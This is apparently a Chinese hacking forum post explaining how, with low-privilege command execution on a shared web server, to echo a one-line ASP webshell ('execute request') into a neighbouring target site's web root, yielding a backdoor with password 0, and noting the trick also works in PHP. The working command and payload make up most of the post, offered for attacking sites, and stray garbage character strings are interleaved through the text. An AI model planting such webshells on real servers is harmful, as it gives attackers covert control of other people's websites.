旁注cmd低权限下拿webshell

admin

在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。

+ i% r0 `- l4 f. l! Z7 H命令格式
% R( O, ~9 t& M  S
* `* K+ S9 v, v1 j$ c3 i0 G1 VEcho 语句 >目标站绝对目录

例如：

" o% g7 O6 L  pecho ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
6 b, h9 n$ t. m
" h: j  S2 ~% h/ s+ f2 _6 g( q这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。